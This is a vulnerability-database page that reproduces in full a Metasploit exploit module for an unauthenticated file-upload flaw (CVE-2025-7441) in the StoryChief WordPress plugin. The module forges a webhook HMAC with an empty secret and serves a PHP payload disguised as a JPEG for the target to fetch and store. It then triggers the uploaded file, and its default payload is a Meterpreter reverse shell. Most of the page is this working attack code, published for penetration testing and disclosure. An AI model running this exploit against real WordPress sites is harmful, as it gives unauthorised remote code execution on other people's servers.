Lucene search
K

WordPress StoryChief Plugin Unauthenticated RCE

🗓️ 19 Feb 2026 18:59:52Reported by xpl0dec, NayeraType 
metasploit
 metasploit
🔗 www.rapid7.com👁 254 Views

Unauthenticated file upload in WordPress StoryChief plugin enables code execution via webhook HMAC.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2025-7441
7 Oct 202512:12
githubexploit
GithubExploit
Exploit for CVE-2025-7441
14 Oct 202508:16
githubexploit
Circl
CVE-2025-7441
29 Aug 202521:02
circl
CNNVD
WordPress plugin StoryChief 代码问题漏洞
16 Aug 202500:00
cnnvd
CNVD
WordPress Plugin StoryChief File Upload Vulnerability
20 Aug 202500:00
cnvd
CVE
CVE-2025-7441
16 Aug 202503:38
cve
Cvelist
CVE-2025-7441 StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
16 Aug 202503:38
cvelist
Exploit DB
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
26 Aug 202500:00
exploitdb
EUVD
EUVD-2025-25062
3 Oct 202520:07
euvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary file upload
          vulnerability in the StoryChief WordPress plugin <= 1.0.42.

          The plugin exposes a webhook endpoint at
          /wp-json/storychief/webhook which accepts a forged HMAC.
          Because the plugin uses an empty secret for HMAC validation,
          attackers can compute a valid MAC and force WordPress to
          download and store attacker-controlled PHP content inside
          the uploads directory, resulting in remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xpl0dec', # Original PoC
          'Nayera'   # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-7441'],
          ['EDB', '52422'],
          ['URL', 'https://github.com/Story-Chief/wordpress']
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DisclosureDate' => '2025-08-04',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'WfsDelay' => 15
        },
        'Privileged' => false,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
    ])
  end

  #
  # Check Method
  #
  def check
    return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
    )

    unless res && res.code == 200
      return CheckCode::Safe('StoryChief REST namespace not found')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
      'ctype' => 'application/json',
      'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
    )

    return CheckCode::Unknown('No response from webhook endpoint') unless res

    return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404

    CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
  end

  #
  # Serve malicious PHP payload
  #
  def on_request_uri(cli, _req)
    print_good("Serving malicious payload to #{cli.peerhost}")

    php_payload = payload.encoded

    send_response(
      cli,
      php_payload,
      'Content-Type' => 'image/jpeg'
    )

    close_client(cli)
  end

  #
  # Generate JSON body + HMAC
  #
  def generate_signed_body(remote_url)
    body_hash = {
      'meta' => {
        'event' => 'publish'
      },
      'data' => {
        'featured_image' => {
          'data' => {
            'sizes' => {
              'full' => remote_url
            }
          }
        }
      }
    }

    json_body = JSON.generate(body_hash).gsub('/', '\\/')
    signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)

    body_hash['meta']['mac'] = signature
    JSON.generate(body_hash)
  end

  #
  # Attempt to trigger uploaded shell
  #
  def trigger_shell(filename)
    now = Time.now

    upload_path = normalize_uri(
      target_uri.path,
      'wp-content',
      'uploads',
      now.year.to_s,
      format('%02d', now.month),
      filename
    )

    print_status("Attempting to execute uploaded payload at #{upload_path}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => upload_path
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
    end
  end

  #
  # Main Exploit
  #
  def exploit
    payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
    register_file_for_cleanup(payload_name)

    print_status('Starting local HTTP server for payload hosting')

    start_service(
      'Uri' => {
        'Path' => "/#{payload_name}",
        'Proc' => proc { |cli, req| on_request_uri(cli, req) }
      }
    )

    payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
    print_status("Payload URL: #{payload_url}")

    request_body = generate_signed_body(payload_url)

    print_status('Sending malicious webhook request')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
      'ctype' => 'application/json',
      'data' => request_body
    )

    fail_with(Failure::Unreachable, 'No response from target') unless res

    unless res.code == 200 && res.body.include?('permalink')
      fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
    end

    print_good('Webhook accepted payload — attempting execution')

    trigger_shell(payload_name)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jun 2026 19:01Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
EPSS0.37349
SSVC
254